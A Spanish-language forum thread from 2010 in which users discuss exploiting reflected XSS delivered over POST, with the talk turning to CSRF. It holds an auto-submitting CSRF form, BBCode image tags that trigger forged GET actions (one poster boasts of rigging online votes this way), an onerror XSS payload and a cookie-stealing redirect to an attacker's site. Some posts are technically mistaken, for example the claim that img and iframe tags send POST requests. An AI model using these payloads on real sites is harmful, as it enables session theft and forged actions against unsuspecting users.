Hola me surge una duda sobre XSS, cuando hay un bug xss que no es persistente, o sea que solo afecta si introduces cierta información en el buscador interno de la web, por ejemplo. La única manera que se me ocurre de explotarlo para obtener información de otros usuarios es por ejemplo enviar un mail con la dirección modificada a algún usuario y al pinchar se les ejecutará el xss, eso si la petición en el buscador se hace por GET, pero si se hace por POST, ¿cómo se podría explotar? o no se podría simplemente. ¿Seria este un posible procedimiento para explotar xss no persistentes?
Saludos.
Hola, desde el correo envias un enlace hacia una web tuya que puede estar en un hosting gratuito, luego haces el form con todos sus valores dentro de el y cuando esa persona lo visualize entonces se activaría una función en javascript que va autoenviar el formulario con document.formulario.submit(); talves encerrado dentro del tag body y escrito dentro de onload y si se llega a ejecutar de esa forma significa que también es vulnerable a csrf.
o sino tambien esta la posibilidad de ajax, aunque se ocmplica un poco mas...
Cita de: WHK en 24 Enero 2010, 02:17 AM
Hola, desde el correo envias un enlace hacia una web tuya que puede estar en un hosting gratuito, luego haces el form con todos sus valores dentro de el y cuando esa persona lo visualize entonces se activaría una función en javascript que va autoenviar el formulario con document.formulario.submit(); talves encerrado dentro del tag body y escrito dentro de onload y si se llega a ejecutar de esa forma significa que también es vulnerable a csrf.
Que un buscador sea vulnerable a CSRF es algo importante?
Si se comprobara un token sería muy difícil de explotar el XSS no?
asi es, pero un token significa que es un valor aleatorio no siempre el mismo o si no se podría automatizar y la idea es que no se pueda aunque solo podria solucionar el problema en ese "buscador" aunque no es una buena práctica solucionar un xss evitando csrf ya que en una buena programación debes evitar el xss también y ojala no ponerle token al buscador o si no vas a impedir que otros compartan resultados de busquedas con otras personas o páginas, además si es persistente de nada te sirve el token.
Tu recomendarías poner una medida anti CSRF a un buscador? Aparte de las medidas XSS.
Tu lo haces?
Cita de: WHK en 24 Enero 2010, 02:17 AM
Hola, desde el correo envias un enlace hacia una web tuya que puede estar en un hosting gratuito, luego haces el form con todos sus valores dentro de el y cuando esa persona lo visualize entonces se activaría una función en javascript que va autoenviar el formulario con document.formulario.submit(); talves encerrado dentro del tag body y escrito dentro de onload y si se llega a ejecutar de esa forma significa que también es vulnerable a csrf.
No le veo sentido, porque así como dices la web es mía por que la he creado yo y es de cualquier temática o es una copia de la web vulnerable?
Hagamos un supuesto, de que encuentro una web vulnerable a xss, eso quiere decir que habrá algún lugar en la web donde yo podré introducir datos, esos datos estarán escritos de forma adecuada para que cuando se interprete el código html se ejecute el código que yo he introducido, hasta ahí bien. Ahora viene como procesa la web esa información que yo he introducido, puede que la lea a través de un método GET o un método POST.
Si la información la procesa por el método GET, ¿Cómo se haría el ataque?Creando un web copia de la original, hospedarla en un hosting (al que pueda acceder) y enviar un correo electrónico a la víctima engañandola para que pulse el enlace rellene los campos y cuando envié el formulario copiarme los datos en el hosting y redirigir a la víctima a la web original. Eso es lo que he deducido de tu post WHK, por otra parte lo que acabo de explicar ¿se podría considerar phishing?
O por otra parte solo habría que enviarle un enlace con toda la información referente al ataque, vamos el código malicioso par que nos entendamos, en la misma petición GET, y cuando acceda a la web a través de ese enlace se le ejecutara el código, y se obtendrán los datos que se quieran obtener.
Si la información la procesa por el método POST, ¿Cómo se haría el ataque?No tengo ni idea de como se podría hacer el ataque.
Por otra parte nunca he entendido el ataque CSRF, así que menos saber como explotarlo.
Bueno aqui doy algunos metodos de atake CSRF mediante peticion GET y POST.
Bueno, tener claro que algunas veces los formularios envían datos por POST pero pasan la variable por $_REQUEST, osea que aunque el formulario la envié por post puedes enviar una petición GET y te la aceptara.
Ok, ahora si tenemos CSRF por metodo GET podemos hacer lo siguiente.
Si se puede usar BBCODE utilisaremos tags que se ejecutan al visualisarlo como puede ser los tag de
img, y entre los tags de imagenes insertamos el CSRF y al visualisar la img estara haciendo la peticion GET.
[IMG]http://serve.com/usuario/eliminar.php
[/IMG]
Por metodo post.
Primero crearemos un formulario que tenga los valores puesto y todo y lo enviaremos con javascript.
<html><body>
<form name="topic" method="post" action="http://serve.com/crear_post.php">
<textarea name='topic' rows='5' cols='50' value='lalallalala'></textarea>
</form>
<script>document.topic.submit()</script>
</body></html>
Luego lo subimos a un host. Ahora lo que haremos es llamar nuestro scrit y crear el post.
Con esto lo llamaria:
<IMG SRC="http://host.com/formulario_que_enviara_el_CSRF.html">
Y al tratar de visualisar la img estaria ejecutando el formulario xD.
Saludos.
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...
Cita de: cɐstg en 24 Enero 2010, 21:49 PM
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..
Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.
Cita de: yoyahack en 24 Enero 2010, 21:54 PM
Cita de: cɐstg en 24 Enero 2010, 21:49 PM
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..
Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.
Me parece que te equivocas, está bien, el javascript no se ejecuta, el php si.
Ahora, bbcode no es un lenguaje que el navegador interprete, el bbcode se transforma a html cuando se manda al foro.
(http://urldefoto) = <img src=urldefoto> (pero con mas atributos)
La petición siempre es get si lo haces desde un src o similar.
estas ejecutando el codigo javascript "document.topic.submit()" eso es javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"
Cita de: yoyahack en 24 Enero 2010, 21:54 PM
Cita de: cɐstg en 24 Enero 2010, 21:49 PM
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..
Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el javascript no se ejecuta en el server.
Cita de: braulio23 en 24 Enero 2010, 22:18 PM
Cita de: yoyahack en 24 Enero 2010, 21:54 PM
Cita de: cɐstg en 24 Enero 2010, 21:49 PM
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..
Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el javascript no se ejecuta en el server.
Claro tio...
Pueden mirar este post que hay un tema parecido pero por POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html
La mejor forma de comprenderlo es practicandolo y veras su gran potencial... Una vez lo use para unas votaciones online y puse la url entre tags de img de BBCODE y funcionaba correctamente...
Pueden provarlo en localhost...
Cita de: cɐstg en 24 Enero 2010, 22:15 PM
estas ejecutando el codigo javascript "document.topic.submit()" eso es javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"
Claro tio funcionara perfectamente pero se estara ejecutando en el serve donde subas el archivo con ese codigo javascript y no con el serve que quieres atakar. Osea te estas robando tus propias cookies y enviandotelas xD.
ahora si te entendi perfectamente, no entendia... ya esta, listo gracias ;)
Cita de: yoyahack en 24 Enero 2010, 20:48 PM
Bueno aqui doy algunos metodos de atake CSRF mediante peticion GET y POST.
Bueno, tener claro que algunas veces los formularios envían datos por POST pero pasan la variable por $_REQUEST, osea que aunque el formulario la envié por post puedes enviar una petición GET y te la aceptara.
Ok, ahora si tenemos CSRF por metodo GET podemos hacer lo siguiente.
Si se puede usar BBCODE utilisaremos tags que se ejecutan al visualisarlo como puede ser los tag de
img, y entre los tags de imagenes insertamos el CSRF y al visualisar la img estara haciendo la peticion GET.
[IMG]http://serve.com/usuario/eliminar.php
[/IMG]
Por metodo post.
Primero crearemos un formulario que tenga los valores puesto y todo y lo enviaremos con javascript.
<html><body>
<form name="topic" method="post" action="http://serve.com/crear_post.php">
<textarea name='topic' rows='5' cols='50' value='lalallalala'></textarea>
</form>
<script>document.topic.submit()</script>
</body></html>
Luego lo subimos a un host. Ahora lo que haremos es llamar nuestro scrit y crear el post.
Con esto lo llamaria:
<IMG SRC="http://host.com/formulario_que_enviara_el_CSRF.html">
Y al tratar de visualisar la img estaria ejecutando el formulario xD.
Saludos.
No digo que no se útil la información, que lo es y mucho, pero yo me quería centrar el problema en XSS, no en CSRF. no se porque el tema ha pasado a CSRF y no se ha hablado de XSS, a no ser que se exploten de igual manera, cosa que desconozco y que me gustaría aprender, pero creo que mi duda no se ha resuelto, o por lo menos yo no la tengo resuelta, y si es que se ha dado la solución, pido disculpas por que no la veo o entiendo los posts.
Un saludo.
XSS es parecido aa CSRF/XSRF, tambien con XSS permanente puedes aplicar CSRF o XSS Tuneling...
Lo que pasa esque XSS no es solo robar cookies, puedes hacer atakes mas elaborado dependiendo de tu conocimiento sobre javascript y luego que quieres hacer... Porque estas aplicando puro javascript xD.
Cita de: yoyahack en 24 Enero 2010, 22:48 PM
Cita de: braulio23 en 24 Enero 2010, 22:18 PM
Cita de: yoyahack en 24 Enero 2010, 21:54 PM
Cita de: cɐstg en 24 Enero 2010, 21:49 PM
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..
Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el javascript no se ejecuta en el server.
Claro tio...
Pueden mirar este post que hay un tema parecido pero por POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html
La mejor forma de comprenderlo es practicandolo y veras su gran potencial... Una vez lo use para unas votaciones online y puse la url entre tags de img de BBCODE y funcionaba correctamente...
Pueden provarlo en localhost...
Cita de: cɐstg en 24 Enero 2010, 22:15 PM
estas ejecutando el codigo javascript "document.topic.submit()" eso es javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"
Claro tio funcionara perfectamente pero se estara ejecutando en el serve donde subas el archivo con ese codigo javascript y no con el serve que quieres atakar. Osea te estas robando tus propias cookies y enviandotelas xD.
Eso si lo llamas en plan [nobbcode](http://rutadelscript)[nobbcode] :
No funcionaPorque el javascript lo ejecuta solo el navegador, y si el navegador cree que eso es una imagen no buscará código javascript. El document.form.submit() lo hace
el navegador no el server.
Cita de: braulio23 en 25 Enero 2010, 17:45 PM
Cita de: yoyahack en 24 Enero 2010, 22:48 PM
Cita de: braulio23 en 24 Enero 2010, 22:18 PM
Cita de: yoyahack en 24 Enero 2010, 21:54 PM
Cita de: cɐstg en 24 Enero 2010, 21:49 PM
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..
Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el javascript no se ejecuta en el server.
Claro tio...
Pueden mirar este post que hay un tema parecido pero por POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html
La mejor forma de comprenderlo es practicandolo y veras su gran potencial... Una vez lo use para unas votaciones online y puse la url entre tags de img de BBCODE y funcionaba correctamente...
Pueden provarlo en localhost...
Cita de: cɐstg en 24 Enero 2010, 22:15 PM
estas ejecutando el codigo javascript "document.topic.submit()" eso es javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"
Claro tio funcionara perfectamente pero se estara ejecutando en el serve donde subas el archivo con ese codigo javascript y no con el serve que quieres atakar. Osea te estas robando tus propias cookies y enviandotelas xD.
Eso si lo llamas en plan [nobbcode](http://rutadelscript)[nobbcode] :
No funciona
Porque el javascript lo ejecuta solo el navegador, y si el navegador cree que eso es una imagen no buscará código javascript. El document.form.submit() lo hace el navegador no el server.
Um.. claro porque el unico que interpreta el codigo javascript es el navegador, Osea, Por medio de la peticion GET con tags de img
Si funciona, por medio de POST puse varias opciones como img, inframe, etc...
Por algo deje un link sobre un tema similar de ejecutar XSRF mediante POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html
Yo hablo de estas cosas que dijiste :
Citar
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..
1. El navegador no interpreta BBCODE, el que "interpreta" (lo que hace en realidad es transformar a html) el BBCODE es el software SMF (o el que sea), por lo tanto, cuando escribes en bbcode las tags img se transforman en el html resultante <img src=url>... .
2. La peticiones a imágenes y a iframe son siempre por GET (quizás no siempre, no lo sé , pero en este caso sí)
Y lo otro que dijiste :
Citar
Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.
El javascript, no se ejecuta en el host que tienes el archivo, porque eso es el server, y además , la petición la haces haciendo creer al browser que lo que pide es una imagen, por lo tanto no busca código javascript dentro de ella y no puedes hacer nada con javascript.
El bbcode funciona así..
Yo le doy el texto con contenido bbcode al servidor
El servidor toma el bbcode y lo transforma a html internamente, por ejemplo [img] a <img src=...
El visitante cuando ve la web verá el código html no el bbcode, el servidor le mostrará <img src=...
Tampoco puedes ejecutar javascript dentro de una imagen como por ejemplo:
<img src="javascript:alert(1)" />
Eso no se puede hacer porque el explorador no lo va a ejecutar, eso solo funcionaba en internet explorer 6 porque es un caso especial, ie6 está lleno de bugs pero en los exploradores de ahora eso es imposible a menos que se encuentre un hueco de seguridad.
Lo que si se puede hacer es
<img onerror="alert(1)" src="x" />
Pero en ese caso un xss da igual porque se supone que un xss tienes acceso a la manipulación del codigo html de la web.
En el caso del CSRF esto es totalmente aparte, si puedes evitar en parte el xss reflejado anteponiendo tokens pero si el atacante llega a encontrar la forma de obtener el token de la persona afectada entonces puede redireccionarlo hacia ese xss tal como pasa en smf y el csrf que actualmente hay y un xss que puedes explotar en el buscador de usuario que solamente tienes acceso con un token.
Ahora, esto no sirve si es persistente pero no quiero decir que con un token que evita csrf puedes evitar un xss, para nada!, lo que debes hacer es evitar el xss reparando el problema de raiz, no de forma indirecta filtrando comillas o poniendole token porque siempre habrá alguna forma de sobrepasar esos sistemas de seguridad y si todavía el código es vulnerable a xss lo pueden explotar.
claro, eso yo lo habia preguntado en otro post, lo de <img src="javascript:...">
pero lo que si se podria, es filtrar un "header(auth" en una imgaen pidiendo asi autorizacion, ahi entra la ingeneria social...
eso es otro tema, no es xss ni csdf, si alguien cae en eso es porque con suerte sabe encender la pc.
jajajaj pero se puede inyectar otro codigo por imagen?
Citarcuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post
lol
Citarjajajaj pero se puede inyectar otro codigo por imagen?
JS no se ejecuta con imagenes., necesitas un <script> o una vuln de XSS.
Saludos!!
ok gracias por responder...
porcierto...
puedes poner JS en imagenes.. pero el codigo no se va a ejecutar a menos que lo pongas en un <script> o hay XSS..
Bueno, a ver si lo he pillado, yo creo un formulario con los campos preestablecidos, ese formulario ¿Qué campos debe tener? Si fuera un foro smf ¿Seria el POST que genera el smf para hacer alguna operación? ¿Cómo crear un nuevo mensaje al foro o mensaje personal? le añado el javascript para que se envíe cuando se carga ese formulario, y ahora la dirección de ese formulario, la inserto en un mensaje al foro o dentro de algún iframe para que se ejecute la petición ha ese formulario. Y con esto ¿Qué consigo? crear un nuevo mensaje personal, por ejemplo.
La verdad no me ha quedado muy claro como explotar el xss, con lo del formulario, porque como se yo que campos debo meter.
Un saludo.
Lo de formulario es XSRF/CSRF no XSS...
Hay veces que una variable post se puede enviar por url.
buscar.php?variable=
Tal cual se hace con GET